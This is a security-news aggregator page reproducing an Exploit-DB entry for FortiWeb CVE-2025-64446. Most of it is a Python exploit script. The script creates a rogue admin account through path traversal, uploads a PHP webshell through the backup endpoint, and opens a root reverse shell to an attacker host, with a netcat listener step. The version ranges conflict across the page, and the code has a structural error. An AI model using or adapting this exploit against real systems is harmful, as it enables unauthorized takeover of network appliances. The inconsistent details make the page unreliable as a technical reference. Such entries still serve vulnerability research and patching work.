Security News

Cybersecurity news aggregator

🔓
HIGH Vulnerabilities Exploit-DB

[webapps] FortiWeb 8.0.2 - Remote Code Execution

A critical vulnerability (CVE-2025-64446, CVSS 9.8) in FortiWeb's management interface allows unauthenticated remote code execution via a chain of an authentication bypass, path traversal, and arbitrary file upload. Affected versions are FortiWeb 7.0.0 through 7.0.11, 7.2.0 through 7.2.11, 7.4.0 through 7.4.9, 7.6.0 through 7.6.4, and 8.0.0 through 8.0.1. The flaw is fixed in versions 7.0.12, 7.2.12, 7.4.10, 7.6.5, and 8.0.2.
Read Full Article →

This website uses cookies We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you’ve provided to them or that they’ve collected from your use of their services. You consent to our cookies if you continue to use our website. Show details Allow all cookies Use necessary cookies only EXPLOIT DATABASE EXPLOITS GHDB PAPERS SHELLCODES SEARCH EDB SEARCHSPLOIT MANUAL SUBMISSIONS ONLINE TRAINING FortiWeb 8.0.2 - Remote Code Execution EDB-ID: 52502 CVE: 2025-64446 EDB Verified: Author: MOHAMMED IDREES BANYAMER Type: WEBAPPS Exploit: / Platform: MULTIPLE Date: 2026-04-08 Vulnerable App: # Exploit Title: FortiWeb 8.0.2 - Remote Code Execution # Date: 2025-11-22 # Author: Mohammed Idrees Banyamer # Author Country: Jordan # Instagram: @banyamer_security # GitHub: https://github.com/mbanyamer # Vendor Homepage: https://www.fortinet.com # Software Link: https://www.fortinet.com/products/web-application-firewall/fortiweb # Version: FortiWeb < 7.6.7, < 7.8.7, < 8.0.2 # Tested on: FortiWeb 7.4.2, 7.6.0, 7.6.1 (VM builds) # CVE: CVE-2025-64446 # CVSS: 9.8 (Critical) # Category: WebApps # Platform: Hardware/Appliance (Linux-based) # CRITICAL: True # Including: Authentication Bypass + Path Traversal + Arbitrary File Upload → RCE # Impact: Full system compromise, root reverse shell # Fix: Upgrade to FortiWeb 7.6.7, 7.8.7, 8.0.2 or later # Advisory: https://www.fortinet.com/support/psirt/FG-IR-25-64446 # Patch: https://support.fortinet.com # Target: FortiWeb management interface (default port 8443) import requests, sys, time, base64 from urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) def banner(): print(""" CVE-2025-64446 FortiWeb RCE Exploit Author: Mohammed Idrees Banyamer | @banyamer_security LAB / AUTHORIZED TESTING ONLY """) if len(sys.argv) != 4: banner() print("Usage : python3 fortiweb_rce.py <target> <lhost> <lport>") print("Example: python3 fortiweb_rce.py https://192.168.100.50:8443 192.168.45.10 4444") print("\nSteps:") print(" 1. Start listener → nc -lvnp 4444") print(" 2. Run exploit → python3 fortiweb_rce.py <target> <your_ip> 4444") print(" 3. Get root shell → enjoy\n") sys.exit(1) banner() target = sys.argv[1].rstrip("/") LHOST = sys.argv[2] LPORT = sys.argv[3] print(f"[*] Target : {target}") print(f"[*] Callback : {LHOST}:{LPORT}\n") s = requests.Session() s.verify = False s.headers = {"Content-Type": "application/json"} print("[1] Creating temporary admin user...") payload = {"../../mkey": "pwnedadmin", "password": "Pwned123!", "isadmin": "1", "status": "enable"} r = s.post(f"{target}/api/v2.0/user/local.add", json=payload, timeout=10) if r.status_code != 200 or "success" not in r.text: print("[-] Failed to create admin → Target is likely patched") return print("[2] Logging in with new admin...") login = s.post(f"{target}/api/v2.0/login", json={"username":"pwnedadmin","password":"Pwned123!"}, timeout=10) if "success" not in login.text: print("[-] Login failed") return shell = f'<?php system("bash -c \'bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1\'"); ?>' b64shell = base64.b64encode(shell.encode()).decode() + "AAA==" print("[3] Uploading webshell via backup function...") files = {'upload-file': ('pwned.dat', b64shell, 'application/octet-stream')} s.post(f"{target}/api/v2.0/system/maintenance/backup", files=files, timeout=15) print(f"[4] Triggering reverse shell to {LHOST}:{LPORT} ...") s.get(f"{target}/pwned.dat", timeout=10) time.sleep(8) print("[5] Cleaning up temporary admin account...") s.post(f"{target}/api/v2.0/user/local.delete", json={"../../mkey":"pwnedadmin"}) print("\n[+] Exploit completed – check your listener for root shell!") Copy Tags: Advisory/Source: Link Databases Links Sites Solutions Exploits Search Exploit-DB OffSec Courses and Certifications Google Hacking Submit Entry Kali Linux Learn Subscriptions Papers SearchSploit Manual VulnHub OffSec Cyber Range Shellcodes Exploit Statistics Proving Grounds Penetration Testing Services EXPLOIT DATABASE BY OFFSEC TERMS PRIVACY ABOUT US FAQ COOKIES © OffSec Services Limited 2026. All rights reserved.

Share this article